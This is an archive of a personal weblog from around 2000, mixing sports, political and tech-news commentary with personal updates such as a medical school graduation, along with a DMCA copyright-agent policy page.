Sorry about the downtime today — Frontier crashed early this morning, leaving behind only an entry in the Event Log and a crash dump file. Ugh.

I watched the live ESPN interview with Bobby Knight, and all I can say is weak. Roy Firestone did the first half of the interview, and he was terrible — he admitted that he’s never seen the videotape of Knight choking Neil Reed (why, if he knew he was interviewing Knight, would he not have watched the tape?), he didn’t pursue any question past a tacit packaged answer by Knight, and he tried way too hard to be friendly. Example: he asked Knight about the Reed incident, and Knight said “I’ve never choked anyone in my life!” This would have been the perfect opportunity for Firestone to bring up the time Knight choked Christopher Foster, a man who made derogatory comments to Knight in a restaurant parking lot, but Firestone just sat there and nodded.

Unfortunately for Knight, though, Indiana reversed itself today and finally decided to investigate whether or not Knight punched a player in the side of the head during halftime of a game in 1990.

Sun: “Waaaah! Waah waaah waaaaaah!” Judge: “Shut up!”

Two interesting anorexia findings: young women with anorexia lack normal circadian rhythms and have a higher rate of abnormal electrocardiograms. The circadian rhythm abnormalities are most likely based to the large weight loss (i.e., being an effect, not a cause); the EKG findings, though, showed lower cardiac contractility, which is pretty scary. (You have to create a free sign-in with Medscape to read these two articles; I wish it weren’t so.)

Let me tell you, I feel terrible that a movie star was turned away from the Millennium Dome, whereas any ordinary person would have been… turned away, as well, being that there were no tickets available. Why is this news?

Oh. My. GOD. No amount of showering would convince me that I’m clean after this.

There are probably few on-the-job humiliations worse than being a cop, getting beaten by a nude man with your own nightstick.

Tip: if you don’t find what you’re looking for, try another search engine. A few days ago, after searching as best I could, I asked for help finding a specific Flash animation on the web. Yesterday, I gave the search another try, starting with MetaCrawler. I didn’t find it there, so I went directly to FindWhat (after seeing their ad on a phonebooth here). It led me to slave, who had pointed to the animation I wanted! (Warning: adult content.)

Happy Memorial Day!

To me, the concept of uprooting HTML rendering capability from the operating system is bullshit. Saying that Microsoft should have to do this is like saying they should have to separate file system browsing, or printing, or even display rendering from the operating system — sure, it’s theoretically possible, but it’s complete crap. If Microsoft has chosen HTML as the format for their help and other support files, they shouldn’t have to rely on someone else to build the renderer.

You would figure that someone aspiring to be President of the United States would jump at the chance to be briefed by the Joint Chiefs of Staff on military issues… but you’d be wrong. Yet another entry on the list of why Dubya is an ass.

The first .GOD zone file is available; I wonder how they plan to integrate this into the mainstream DNS system (if at all). (After a little more reading, though, I see that .GOD is primarily meant to be an affront to ICANN — an unrecognized TLD that is being used to try to expose ICANN as a political body with little logic or reason to its policies and decisions.)

Good try: a group of people tried to buy $50 million worth of Russian arms and various military uniforms for the nation of “Sealand,” in reality an aircraft platform 11 miles off the coast of Spain. A British businessman is claiming independence for the hunk of concrete.

Last night’s pitching duel between Boston’s Pedro Martinez and the Yankees’ Roger Clemens may well have been the best game I’ve ever seen. The two came to play — through the end of the eighth inning, Pedro had eight strikeouts, and Clemens had 13. Every pitch had me on the edge of my seat. But with two out in the top of the ninth, Clemens threw a high fastball to Trot Nixon and he hit it out of the park, scoring two runs. The Yanks managed to then load the bases in the bottom of the ninth, but Pedro got out of it, and the Sox won 2-0. Amazing game.

And in other New York sports news, Latrell Sprewell has an fractured metatarsal in his left foot, and will probably have to sit out of game four. The Knicks are hurting badly…

Once again, proof of the biggest inherent flaw with net blocking sofware — such software must be maintained by humans and companies, and those humans and companies have their own ideological slants, business relationships, and financial fears. All of these things lead to highly inconsistent (and even highly biased) filters. (Peacefire’s own page about their project is here.)

Derek Jeter returns to the Yanks, goes 3 for 4, steals a base, and has an RBI, and the Yanks beat the Red Sox 8-3 yesterday. Life is good.

Microsoft is delaying the Outlook security patch in order to integrate some of the most frequent customer requests from the past two weeks into the update.

I went to see The Real Thing on Broadway last evening with the folks, and it was terrific. I was first introduced to Tom Stoppard with Rosencrantz And Guildenstern Are Dead, and the most recent work of his that I saw before this was Shakespeare In Love; each time, I realize just how much I love his writing. The words are so intricate, so precise, and so brilliant that it’s hard not to get totally wrapped up in the dialogue.

After the play, my parents and I walked down to Grand Central Station, and passed a set of glass doors with the coolest thing inside — a storage room full of lifesized, painted plaster cows. (And when I say full, I mean over 300 of them.) After a little research and a few bits of memory, my mom figured it out — they’re all the cows for The New York Cow Parade.

REQUEST: Last week, a friend played a Flash movie for me that was of a little group of cartoon girls, all with enormous hats shaped like various muffins, rapping a song with the chorus “I’ve got my mind on my muffins and my muffins on my mind”. They all had voices like Alvin and the Chipmunks, and the song was hilarious. Now, I’m looking for it, and can’t find it anywhere. Can anyone help?

Bertrand Meyer’s “The Ethics of Free Software” is an incredible read. It’s long, though; if you have a car or train trip over this long holiday weekend, I recommend that you print it and take it along.

Last night, I downloaded and installed the latest Mozilla nightly build, and ran it; it took exactly seven page views until it crashed. Fair enough; the nightly builds are billed as less stable, so I downloaded M15, the latest milestone release. Six page views, and crash — this candle ain’t ready to be lit.

Holy crap: a contracting company, hired by the owners of the Philadelphia nightclub located on the pier that collapsed, warned the owners that collapse of the pier was “imminent.” I see criminal charges in those owners’ futures…

can I have phil.isthy.god?
phil

It’s funny — this site is supposed to be my vent, of sorts, but whenever I am about to vent something of a more personal nature, I always think twice. Tech industry, OK; politics, OK; work, OK; personal, hesitation. I don’t know why, though… it’s strange. (This also means that I have a newfound awe for the people who put their innermost feelings, or even their entire journals, on the web.)

Of course, I registered QUESO.GOD, but I also grabbed ISTHY.GOD, envisioning such URLs as “television.isthy.god” and “beer.isthy.god” for fun little projects.

That wacked-out Jish is up to no good again, with the Weblogger’s Voicemail Directory.

Damn, Joel Spolsky is rolling right along. His latest column, “Strategy Letter II: Chicken and Egg Problems”, is about the inherent problem when nobody will buy a platform because there’s no software, but there’s no software because there aren’t enough people who use the platform. My favorite quote, though:

Good for you, darling. You wrote a nice microEmacs clone for the Timex Sinclair 1000. Bravo. Here’s a quarter, buy yourself a treat.

Disney has agreed to pay GoTo.com $21.5 million to settle their conniving, underhanded attempt to steal GoTo.com’s logo. (I wrote something about this when the appeals court ruled that Disney had done exactly that.)

My fam and I were supposed to be going up to Rockland County for the long weekend, but our plans were foiled at the last minute. Given the talk about what traffic and travel is going to be like this weekend, though, maybe that’s a blessing… (Besides, New York City is empty over the Memorial Day weekend, which makes it easier to get around!)

ACK! The Knicks were so friggin’ close to taking a game in Indiana last night, and they couldn’t convert when it counted. And with Ewing potentially out for more games, this doesn’t look good…

Remember when I said that baseball was exciting this year? Well, that specifically doesn’t include the Dodgers players going into the stands on May 15th fighting the Chicago Cubs fans. Yesterday, baseball announced the suspension of 16 Dodgers players and 3 Dodgers coaches in the wake of the fight; the other shoe dropped late yesterday, though, when one of the fans involved filed a lawsuit against Dodger Chad Kreuter and both teams. Ugly, ugly, ugly.

The National Infrastructure Protection Center (a division of the FBI) has released a tool to check your Solaris or Linux system for many of the known DDOS exploits.

I don’t know why this makes me laugh, but from Slate comes an anagram for “House Passes China Trade Pact”: Accurse not happiest ass-head.

OK, I know it’s picky, but the entire Supreme Court sequence in last night’s Law & Order season finale was hokey as all get-out. Nevermind McCoy not arguing a single legal point in his time before the Court, or the Chilean general being present in the Court; the biggest problem was them waiting for the decision afterwards, which just isn’t how things work.

Finally, the Republicans have decided to actually do their jobs and allow the dozens of Federal judge nominations to come to the floor of the Senate. Yesterday, 16 nominees were approved (all that came before the Senate); today, four are slated to appear. All in all, there were 65 vacancies on Federal courts before this, and I’ve felt that the Republican’s singlehanded block of the nomination approval process is one of the most underreported abuses of theirs in the last decade.

In the coolest find I’ve ever had, you can browse the Macy’s wedding registry of Newt Gingrich and Callista Bisek, and maybe buy them something nice. There’s still a lot that hasn’t been snapped up…

Everyone’s been talking about how bad the new Salon redesign is; what nobody’s mentioned is the column from David Talbot, editor of Salon, saying that they’re not wedded to the new design, recognize that users pretty much hate it, and are looking for ideas on how to fix it. A rare admission, by any account (just look at how CNN handled their redesign a few months back, and the universal hatred of it).

For some reason, I’ve been unable to put into exact words the reasons that the “We Card” Philip Morris commercial bothers me to no end. Luckily, though, Greg Knauss has come along and done so perfectly.

Holy shit.

I don’t know enough about the music industry to know the true significance of this, but a new study shows that CD sales within 5 miles of college campuses declined 4% over the last two years, possibly an argument that Napster and its clones have had an effect on music sales, at least in the population with the greatest access to Napster’s benefits. (A discussion has started on this.)

Interesting findings in a study on traditional CPR (breathing plus chest compressions) versus chest compressions alone. If you read the study (or even the first few paragraphs of this MSNBC article), though, you’ll see that the benefit seen with chest compressions alone is probably based on the fact that the people in the study were untrained; if someone with Basic Lifesaving skills is available, then there is a benefit to full, traditional CPR.

How cool would it be to witness the formation of a new island? The explosion pictures look very impressive.

meg's robot

Meg got the robot, and already has put it to work! Lucky it’s a friendly robot, or it could open fire on her… (And now Matt wants in on the action, which rules.)

Yep, I’m here today — I had to go over to my parents to try to resurrect an old computer, but a serial mouse was my foil, so I slinked home defeated. Time to shower and surf the web.

There’s part of me that’s saddened that someone who kills another person by driving drunk may only spend four years of their life in prison. This guys was ripped — 0.19 was his BAC — and he was driving the wrong way on a divided highway.

For some reason, I find it really funny how Dubya had to try to cobble together a bullshit story when he was caught in a blatant lie about Gore and the stock market.

Oh, wow: a pill-sized camera, designed to be swallowed by patients. It takes pictures on its way down and while it’s in the stomach, and transmits them back to a receiver worn on the patient’s belt. This is friggin’ coooool.

The third round of Neale’s Blog-Off is underway, with Tracy pitted against James over hootch.

The New York Police Department is trying to cut down on the number of X-rated movies watched in precinct houses, and the time spend reading nudie mags in squad cars. Hmmmm…. seems like a good call, no?

If you’re here looking for the pictures from Michelle’s graduation party, here you go.

Another only-in-New-York moment yesterday: I got off the subway in the Times Square station, and walked onto the escalator (a pretty wide one) at the same time as a woman. I was reading my book, paying little attention to the world around me, but I did realize that this woman kept fiercely looking at me. She finally asked, “Have you ever thought to yourself that standing on the same step as someone on an escalator endangers everyone else on that escalator?” The only thing I could say back was “Well, no.” She continued: “If there were an accident or emergency, and I had to move over, you would be in my way, and cause a major obstruction, and probably injure everyone here.” I was stunned — luckily, we were at the top of the escalator at this point, so I muttered something about wondering if she had ever driven in a highway lane next to someone else and walked away.

A new allegation of violent behavior in the past by Bobby Knight will go uninvestigated by Indiana, since they don’t believe that it’s any worse than any of the other things that they investigated. The allegation is that Knight punched one of his players in the side of the head; Indiana is quickly exposing themselves as a mockery of a sham of a travesty…

Ummm… a potato-powered webserver. These guys were paying attention in fourth grade, when we learned about alternative energy sources…

Today, the Boston Globe is reporting that there is a one-year gap in Bush’s National Guard service, a period during which he is completely unaccounted for. There’s relatively good evidence that Bush nabbed the National Guard spot in order to avoid being drafted into Vietnam; now it looks like he didn’t even show up to his training assigments. What an ass.

In a desperate attempt to further prolong his fifteen minutes, Donato Dalyrmple has filed a $100 million civil suit against Janet Reno and INS Commissioner Doris Meissner. (For those of you who have successfully shoved his name out of your head, he’s the guy who was in the closet, hiding Elian from the INS SWAT team.) I’ll be shocked if this suit ever gets out of the discovery phase, given the facts that (a) the family actively tried to prevent the INS agents from entering the home, and (b) the agents had a valid search and seizure warrant.

For those of you in the web biz, there’s a good resource for pricing and what to charge customers: the Web Price Index. (Thanks to brig for pointing to it…)

[Macro error: Can’t evaluate the expression because the name “discussionGroup” hasn’t been defined.]

michelle!

Okie dokie — the pictures from Michelle’s party are up. They’re all captioned, so if there are any misspellings or screwups, mail me about ‘em. (Sorry it took so long — I lost my cellphone on the train back into the city last night, so I had to deal with that.)

No matter what you think about Gore, you’ve gotta admit he’s a stallion — he had a 16-year-old girlfriend when he was 13. (You have to scroll down to the middle of the article, in the “A Tennessee Work Ethic” section.)

Remind me never to rob a bus with an icepick in Mexico

Today, a friend and I were watching The A Team (guilty pleasure), and an actor came on that we both recognized. After a little research, it turned out to be James Hong, and astounding to us both, he’s been in 84 movies, had a starring role in a couple dozen TV series, and made guest appearances on 85 episodes of various TV series. That’s a long friggin’ career.

Congratulations to Matt and Kay!!!

You know, another medical pet-peeve of mine: patients have a few simple rights, one of which is to the truth about their disease and the situation surrounding it, and that’s why this article on doctors lying to terminally-ill patients is very unsettling to me. You know that whole do-unto-others thing? If I’m gonna die, I want to know that, so that I can do all those things I have to do to be at peace with that fact.

I figured that after this, people would learn not to stick their hands in the cages of deadly animals… but nope, not true.

Math + IP addresses + capable IP stack = loads of geekfun. Click on these (don’t worry, they’re all valid sites, and none are porn):

The Shuttle successfully docked with the International Space Station yesterday. Now comes a 6 1/2 hour spacewalk, lots of maintenance, and a lot of bitching that the Russian module wasn’t ready to install yet.

Supercool. After finally getting a digital camera to play with, I decided to set up a suite here to display picture shows. The first show documents the fearless rescue of a trapped toy mouse by the intrepid monkey-cat, Sammie. (Yes, I know — I’ve given into the universal weblogger need to take pictures of one’s pet…) I’ve also redone the pictures of our trip to the Super Bowl into a show.

sammie

Last night, I brought home by far the coolest damn digital camera on Earth, and started playing with it a bit; I’m trapped indoors today by the rain, though, so the pictures aren’t as exciting as they could be.

I have no idea how the Knicks came back last night — and I watched every minute of the game. Pretty great.

Who knew that women are just as disgusting as men when it comes to the state in which they leave public toilets?

In response to the coming addition of gasoline to the service, Slate has a pretty damn good look at Priceline and the way that price discrimination works. It’s definitely an eye-opener — there’s a very strong argument that Priceline is both a response to and an assistant of the price discrimination that takes place in every single market.

“Hey Mom! I just set new high scores in both High-School Massacre and Armor-Piercing Assault! Now I’m starving — can I get another Howitzer burger????”

Wren’s Five Stages of Blogging are worth reading. I think that I’m somewhere between stage 3 (“bargaining”) and stage 5 (“acceptance”), although I have to think about it a little more.

Was there any doubt that Pepsi makes you crazy?

Oh, yer killin’ me, yer killin’ me. (Thanks!)

It’s one of those windy, rainy days here in New York, and no matter how big your umbrella, you get soaked. Fun fun fun.

Oh, this is precious.

Doctors in Canada are reporting success in transplanting pancreas cells in humans, reversing type I diabetes. This is a pretty huge step in the treatment of diabetes; the article doesn’t say, though, if the eight patients require oral antihyperglycemic medications, or immunosuppressants to stave off rejection of the transplants.

Congress is facing a class-action lawsuit by a group of custodians, all women, who make over a dollar less per hour than men on the same custodial staff. Interestingly, the lawsuit is only possible due to the 1995 Congressional Accountability Act, an act which finally required Congress to comply with the same civil rights and labor laws that apply to the rest of the country.

Oh, the geek in me thinks that this rocks. Amazon sells the book The Story About Ping, a 1933 children’s story about a duck named Ping who learns a few life lessons. On the review page, though, someone has written the following, in by far the most popular review of the book:

Using deft allegory, the authors have provided an insightful and intuitive explanation of one of Unix’s most venerable networking utilities. Even more stunning is that they were clearly working with a very early beta of the program, as their book first appeared in 1933, years (decades!) before the operating system and network infrastructure were finalized.
 
The book describes networking in terms even a child could understand, choosing to anthropomorphize the underlying packet structure. The ping packet is described as a duck, who, with other packets (more ducks), spends a certain period of time on the host machine (the wise-eyed boat). At the same time each day (I suspect this is scheduled under cron), the little packets (ducks) exit the host (boat) by way of a bridge (a bridge). From the bridge, the packets travel onto the internet (here embodied by the Yangtze River).

Was anyone else aware of the fact that, during the height of the Cold War, the U.S. developed plans to set off an enormous nuclear blast on the moon to demonstrate our superiority in the arms race? Darwin was right, and it’s only a matter of time before our potential idiocy kills us all.

I love my referrer logs. I found Considered Harmful in them yesterday, and from there, found VisiBone’s websafe color pages, which are the best I’ve ever seen. I’ve already ordered a few copies of the laminated card and mousepads.

The Shuttle is spaceborne! The Shuttle is spaceborne! (Why am I such a space geek???)

Major thank you to everyone who sent their congratulations (or posted them on their site — and mad props back at you, Jess!); I appreciate the well-wishes more than you can know.

Oh my god, this is almost sorta funny — blast from an engine of the New York Knicks charter plane blew over and demolished head coach Jeff Van Gundy’s car yesterday. It also damaged the cars of Allan Houston, assistant coach Brendan Malone, the team media relations director. That sucks.

Now, Slashdot it trying to shift the focus from “we are explicitly allowing a copyright violation, and in so doing, are becoming copyright violators” to “Microsoft is a big fat meany!” I said it before and I’ll say it again — the base claim of Microsoft’s, that they have copyright on their statements, is the same thing that provides the strength of the GNU Public License. To defy the protections afforded by copyright is to weaken the GPL, and these morons seem to be jumping full-force into it.

Awesome: There are only five domain names left, from the Motley Fool.

Microsoft has released a fix for the cookie bug in Internet Explorer (as well as for a few other bugs). You can get it from the IE website or from Windows Update.

First, we had eToys vs. etoy; etoy won that one. Last week, we got Mattel vs. Matt Lavalee (get that C&D letter up, Matt!). Now, we have Chiquita vs. Jessica Paff (MetaFilter thread here) and a bunch of idiots vs. The Dialectizer. Feh — I wish that corporate America would buy a clue with the money it’s spending on lawyers and C&D letters.

I know that this is being logged elsewhere, but I had to weigh in: Boo.com is dead. What I don’t understand is why they ever got press — it was always a nightmare of a site, and that was the only thing that distinguished it. (Why is the site still up, though?)

Wow — this is my hometown. I just remember when a kid in my high-school class stabbed a pregnant teacher (she and her baby were O.K.); inner city San Antonio is getting rougher and rougher.

It’s sort of sad to see Clint Eastwood getting into a fight with a disabled woman over something that he could easily fix.

David Anderson weighs in to debunk the oft-stated belief that larger screen size will mean more usable PDAs, cellphones, and whatnot. I don’t completely agree with his argument, though. He uses the notion that usability hasn’t generally increased with screen size to say that it won’t or can’t do so; that’s a logical fallacy. After spending three days trying to figure out how to delete an entry from my cellphone phonebook, there’s no arguing his point that handheld designers have a very long way to go to reach even moderate usability, but if there ever comes a phone with a big screen and great ergonomic/anthropologic usability, then I’m all over it.

congratulations, doc!

Checking in early today — it’s graduation day, and the way that Columbia does things, it means that I’m out of commission all day. But I get to wear a kickin’ robe — the doctoral robe is very, very cool.

Can I tell you how weird it is that, in the span of one day, I go from being a student who doesn’t know shit to a doctor who is expected to be able to care for patients? Now, my signature is expected to be unreadable (and have a little “M.D.” at the end of it), every relative is supposed to have my number in case their rash gets worse, and I can get out of any boring dinner by pretending that I’m getting an urgent page from the emergency room.

I wish I wish I wish that I had a digital camera to capture the events today. (Although what I do have is an incredibly talented friend who is coming to graduation with her camera and some very long glass, so there should be some amazing pictures for my albums.)

What a freakshow.

It’s graduation time here; there will probably be sporadic updates today and tomorrow.

It’s pretty cool, though — Columbia is webcasting all of the outdoor graduation events. Today is the Columbia College graduation, as well as the Engineering School; tomorrow is the University Commencement.

meg's iron giant

Meg finally saw The Iron Giant and loved it; her camera currently features a Giant that her brother gave to her. (Note for the populace: Iron Giant toys make very welcome gifts.) If you still haven’t seen the movie, get thee off your ass and do it!

Slashdot is becoming a community of children, if the questions posed to Jeff Zeldman are representative.

I find Indiana University’s decision to let Bobby Knight stay on as head coach to be complete crap. First of all, the only reason the allegations against Knight came out was because the people who suffered his abuse couldn’t hold back any longer; it’s not like the school came upon the problem themselves and caught it in the bud, and for them to treat it like that is terrible. Second, the fact that the school president announced a new “zero-tolerance” policy towards Knight implies that in the past, abuse was tolerated at some level greater than zero, a notion that is offensive in so many ways I can’t even begin to talk about it. I feel secure in my belief that if you choke a student, physically threaten a secretary, attack one of your assistants, and choke the director of sports information, you should be shown the door, and not even given time to pack up your shit.

Of course, given the sanctions, Knight’s time is inherently limited; if you’ve ever seen a Bobby Knight press conference, you know that his intrinsic nature will prevent him from adhering to the strict conduct code announced today as part of the punishment.

I don’t know who this is worse for, the sumo wrestler or the people watching (live and on TV).

It seems that even though the request was made eight months ago, and was upheld by a judicial committee ruling over two months ago, APB News has still not received a single financial disclosure form from the Administrative Office of U.S. Courts. (Thanks to Andrew for noticing this!)

When I first installed Terminal Services on my Windows 2000 box, I had a problem when I rebooted — I got an error, saying that I didn’t have interactive logon privileges, preventing me from logging on locally. Microsoft has tracked down the problem, and if you’re installing Terminal Services after having installed the base operating system, I recommend grabbing the fix.

In another Win2K issue, it turns out that IIS assigns consecutive port numbers when using passive (PASV) FTP; it’s a behavior that makes potential FTP malfeasance a little more possible. If this concerns you, there is a fix available, and it appears it will be rolled into the first Win2K service pack.

At “Rotten Tomatoes”, the score is running 65:4 against on this movie:

http://www.rottentomatoes.com/movies/titles/battlefield_earth/reviews.php

Happy Mother’s Day!

Awesome New York moment tonight. I was on a subway headed back uptown, and a mother got onto the train with her two kids, a boy who was about six years old and a girl who was around three. The girl sits down, and making sure that her brother noticed, she yanked out a small pamphlet from her back pocket and started to read it. Her brother said (loudly) “The only problem is that you don’t know how to read, dummy.” The little girl replied “But I’m only reading to myself!” She then started to “read” out loud, making up a fanciful story about unicorns and dragons… and punctuated every ten words or so with “dot com.” Her mom was laughing hysterically, in tears, and the little boy was just confused as he could be.

The author of this headline missed the last couple minutes of the game…

In the ultimate wishful thinking, 17.3% of men reported that, given their choice of 200 women, they’d most like to do a love scene with Julia Roberts. You women want Mel Gibson most. Survey questions like this are no different than the “which vegetable would you most like to be?” questions that were sprung on you during college interviews.

The Washington Post had a good look at Battlefield Earth, and the motivations behind the movie, in November of last year. (Of course, the biggest thing I learned from the article is that Jenna Elfman is a Scientologist; nothing like that to kill a crush.) Slate has a mini-compendium of the terrible reviews of the movie, as well.

Tom and Dori (of Backup Brain) have come up with an “I Like Blogger” graphic based on the same “I Like Ike” button that’s been all over the place lately.

Ugh, went out late, came home late late, slept late late late. Just now regaining equilibrium and visual acuity.

john coltrane the classic quartet

A friend brought John Coltrane, The Classic Quartet into work the other day, and within about 10 minutes, I had bought it from Amazon. It’s an eight-disc box set that contains all of Impulse Records’ studio recordings of Coltrane quartets, and it’s just that damn good. I am slowly working my way through the discs; disc five is in my CD player right now. If you like jazz, go buy this.

From Obscure Store, a six-year-old boy who jumped out of his bath and ran to the window to try to flag down his school bus before it left has been suspended from school for sexual harassment. As part of it, the school made the boy sign a paper admitting that he understands the charges against him. Of course, you can’t blame the school district — they are probably looking to Miami, saying that if a court is currently debating whether or not Elian can sign and understand the nature of an asylum statement, then who the hell are they to say that this particular six-year-old can’t.

A good story for an episode of Law & Order: an Ohio jury found a man guilty of involuntary manslaughter after he broke into a woman’s house and literally scared her to death.

Interesting — Japanese commuter train officials think that putting mirrors across the tracks from the platforms will help deter suicides. I never knew that suicides in Japanese train stations were so high.

More about Dubya: in light of the current focus on Dubya’s death penalty obsession, Nat Hentoff takes a look at how defendants charged with non-capital crimes fare in Texas. The results are frightening; indigent defendants can wait up to six months for the appointment of a lawyer, judges admit that they take political contributions into account when appointing these lawyers, a judge has ruled that “the Constitution doesn’t say the lawyers [have] to be awake,” and Bush has vetoed every bill to try to change this offensive reality.

Sharon Underwood, the mother of a gay son in Vermont, wrote an incredibly good column in the Concord Monitor a few weeks ago responding to the Vermonters who are upset about their state’s recognition of gay civil unions.

This guy is claiming that since he missed the $32,000 question on Who Wants to Be a Millionaire, he has been out of work and hasn’t been able to get a job, and he’s suing for $2 million.

Michael Moore’s latest Elian column is back online, and as I said before, it’s well worth the read.

Nice redesign over at Digital Swirlee.

After thinking about the Microsoft/Slashdot ruckus that started yesterday, I realized that potentially, liability for copyright infringement extends to any website which provides some mechanism whereby people can post to the site. This includes any Manila site which has a public discussion group (like this one, many of the EditThisPage and Weblogs.com sites, and all of the Userland discussion groups), any site that has a Greenspun discussion group, and so on. The DMCA does provide a way to ameliorate that liability — you have to designate someone who will deal with any contentions of copyright infringement, and both register that person with the Copyright Office and post the information on the website. (The registration process is painless; my information is now located here.) The Copyright Office has more information, and the entire text of the DMCA is also available.

Rogers Cadenhead emailed me today to let me know that the story I pointed to a few days ago about the child killed in order to smuggle codeine into the UAE is an urban legend. Wow — it doesn’t seem to me that urban legends penetrate actual media channels all that often.

What a great deal: get insulted by John Rocker, get into a baseball game free. Bold move on the part of the Butte Copper Kings; I imagine that the only people who aren’t eligible for the free tickets are white men.

Out of Rebecca’s Pocket comes the fact that people with aphasias are significantly better than the norm at detecting when people are lying. (Aphasias are a category of language disorders, where there is a disconnect somewhere along the pathways between hearing speech, processing and comprehending it, and producing speech which corresponds to that comprehension. They are fascinating disorders in that they point out the intricate mechanisms of language that exist in the human brain.)

Yet another Bushism of the Week:

GOV. BUSH: Because the picture on the newspaper. It just seems so un-American to me, the picture of the guy storming the house with a scared little boy there. I talked to my little brother, Jeb—I haven’t told this to many people. But he’s the governor of—I shouldn’t call him my little brother—my brother, Jeb, the great governor of Texas.
JIM LEHRER: Florida.
GOV. BUSH: Florida. The state of the Florida.

Also about Dubya, there seem to be a spate of articles popping up right now about his obsession with the death penalty, apparently even when there are real questions about the guilt of the people or the method by which they were convicted. Slate looks at the specific cases of two men, one who was already put to death despite pretty good evidence that there were major problems with his conviction. The Washington Post looks at Calvin Jerrold Burdine, a man whose court-appointed lawyer slept through parts of the trial. Having lived in Texas for almost two decades, I can say that this is exactly what you’d expect when you get a right-wing governor combined with judges who are elected to their seats, all the way up to the state Supreme Court.

Due to the fact that this website allows the posting of content by members of the Internet community, the law requires that I follow certain procedures in dealing with any claims of copyright infringement that might arise from postings in comment threads. This page sets out the policies followed here for dealing with such claims.

The Policy

Stated clearly, it is my policy to respond to claims of intellectual property infringement by others on this site according to the terms of the Digital Millenium Copyright Act, Title 17 U.S.C. 512(c), and all other applicable copyright and intellectual property laws. Pursuant to the DMCA, notifications of claimed infringement of copyright should be sent to the Designated Agent for this site, myself, at the following contact locations:

Jason Levine
2647 Broadway #7S
New York, NY 10025
email: (click here to send)
phone: (212) 678-1980
fax: none

A copy of the Designated Agent form, submitted to the Copyright Office on May 11, 2000, is also available (in Portable Document Format); the copy scanned in by the Copyright Office is available as well (also in PDF format).

How to Claim an Infringement

Now, how do you report an infringement of copyright? According to the DMCA, a notice of claimed infringement must contain the following in order to be legally effective:

  1. A physical or electronic signature of a person authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.
  2. Identification of the copyrighted work claimed to have been infringed, or, if multiple copyrighted works at a single online site are covered by a single notification, a representative list of such works at that site.
  3. Identification of the material that is claimed to be infringing or to be the subject of infringing activity and that is to be removed or access to which is to be disabled, and information reasonably sufficient to permit the service provider to locate the material.
  4. Information reasonably sufficient to permit the service provider to contact the complaining party, such as an address, telephone number, and, if available, an electronic mail address at which the complaining party may be contacted.
  5. A statement that the complaining party has a good faith belief that use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law.
  6. A statement that the information in the notification is accurate, and under penalty of perjury, that the complaining party is authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.

More Information

The Copyright Office has a set of pages that explain more about the Digital Millenium Copyright Act, and what website operators must do in order to limit their liability in cases of other individuals’ copyright infringement.

I just stumbled across a kickin’ new (to me) log — GirlText. Elizabeth don’t brook shit from nobody; to me, the whole point of weblogs is to express yourself, and it’s great when I find a five-star site in that respect.

What a cool MetaBaby page. (Of course, since every MetaBaby page is world-editable, it may not be the same when you see it as when I did!)

Wow, is this cookie bug in Internet Explorer a biggie. Interestingly, the cookie isn’t available to IE in the HTTP header, only in Javascript on the page; nonetheless, no site would be looking to authenticate against the cookie, it would be looking to read sensitive information out of it, which would logically take place at the page level.

Slashdot is in the middle of proving that the anti-Microsoft bias of some members exerts quite a strong force on their actions, possibly to their great detriment. Someone went and posted the entire text of a copyrighted Microsoft document on Slashdot recently, and Microsoft responded with a very tactfully-worded letter demanding (under both standard copyright laws and the Digital Millenium Copyright Act) that the posting be removed. Slashdot is refusing to do so, apparently in major violation of the Act, and a controversy is ensuing. (Warning: Slashdot appears to be crushed under their own weight today; of course, there’s a MetaFilter thread about it, and there’s also a CNet News story with an amazingly slanted headline if you can’t get through to Slashdot.)

As I ask in the MetaFilter thread: why is it OK for Slashdot to violate someone’s copyright, but not OK for me to violate the GNU Public License? Also interesting, though, there’s another thread on Slashdot today about copyright and HTML, and strangely, nobody there has any problem with the rightful enforcement of copyright! Yet another case of situational ethics; it serves Slashdot’s purpose to hack another chink in Microsoft’s armor, even if it is illegal.

I really like the design of the fray. This week’s question (“What was your last flight like?”) is preceded with a short essay that’s illustrated with nice inside-the-plane-looking-out pictures; very calming.

Every week, Splorp has the available domain name of the week. Hurry up and grab ratcrap.com!

In honor of Elian’s hearing today, a few questions:

  • Would all the people who hold Elian’s mother up as the paragon of heroism (for getting Elian to the shores of America) still feel that way if she had survived, and he had drowned to death? (Oh, of course, that’s where divine intervention and the holy dolphins come into play.)
  • If people really feel that it would be unconscionable to send Elian back to Cuba, do they also feel that we should prevent Elian’s stepbrother (the infant in all the pictures) from returning to Cuba? How about all the kids that came over to play with Elian? Should we kidnap them all?
  • If a tree fell in the forest and nobody was there to hear it, would Marisleysis still be the craziest woman this side of the Mississippi?

Roger Cossack, one of CNN’s law correspondents, has a pretty good column today, Who says a 6-year-old can make decisions for himself?. He raises a point I’ve been wondering about: the most the Eleventh Circuit can rule is that Elian does have the right to apply for asylum. That’s it. Then, the INS still has to establish that he is a candidate for asylum, which means an interview with him about his reasons for asylum. And, since it would have been established that Elian has the right to apply on his own, he would also have to justify the asylum application on his own — the two go together.

I wish that the link to Michael Moore’s latest column wasn’t coming up blank right now; among all the great observations, he has one that rings particularly true to me:

I looked at that now-famous photograph of the INS agent with the 9mm automatic in his hand as he demanded that Elian Gonzales be turned over, and I thought, “This guy is in a bunker full of crazed kidnappers who believe that Flipper is a member of the Holy Trinity, and all he has to defend himself and the boy is that dinky little gun?”

According to Stephen, the drug smugglers that I talked about yesterday are prime candidates for public beheadings in the United Arab Emirates.

Now ordinarily I think that the Islamic states are pretty harsh places, and I think that some of the things they do are pretty barbaric.

But I have to say that the “smugglers from hell” you described today chose exactly the right place to do their dirty deed and get caught, because the UAE uses public decapitation with a sword as its form of capital punishment, and these guys are all going to get it.

And may they burn in hell.

ACK — we had network problems here today, so if you tried to get to Q and couldn’t, I apologize. It turned out to be the CSU/DSU at this end; all I had to do was cycle the power, and everything reset to normal. Strange-o-rama.

Matt Lavalee has received the cease-and-desist letter from Mattel, and will be posting it this weekend. (For those just tuning in, Mattel has sent Matt a C&D letter telling him that he has to surrender his domain name, MATTL.COM.)

The Great Blog-Off is well on its way, with the topic of WAR. After a quick start by Wendell (and apparently a good night’s rest by Mike), things are evening up. Remember, if you’re one of those people who are voting based solely on column length, Wendell cheated with a long posting before the actual Blog-Off started…

Just when you though you’d heard of the sickest thing possible, a child was kidnapped and killed so that her body could be stuffed full of codeine and smuggled into the United Arab Emirates.

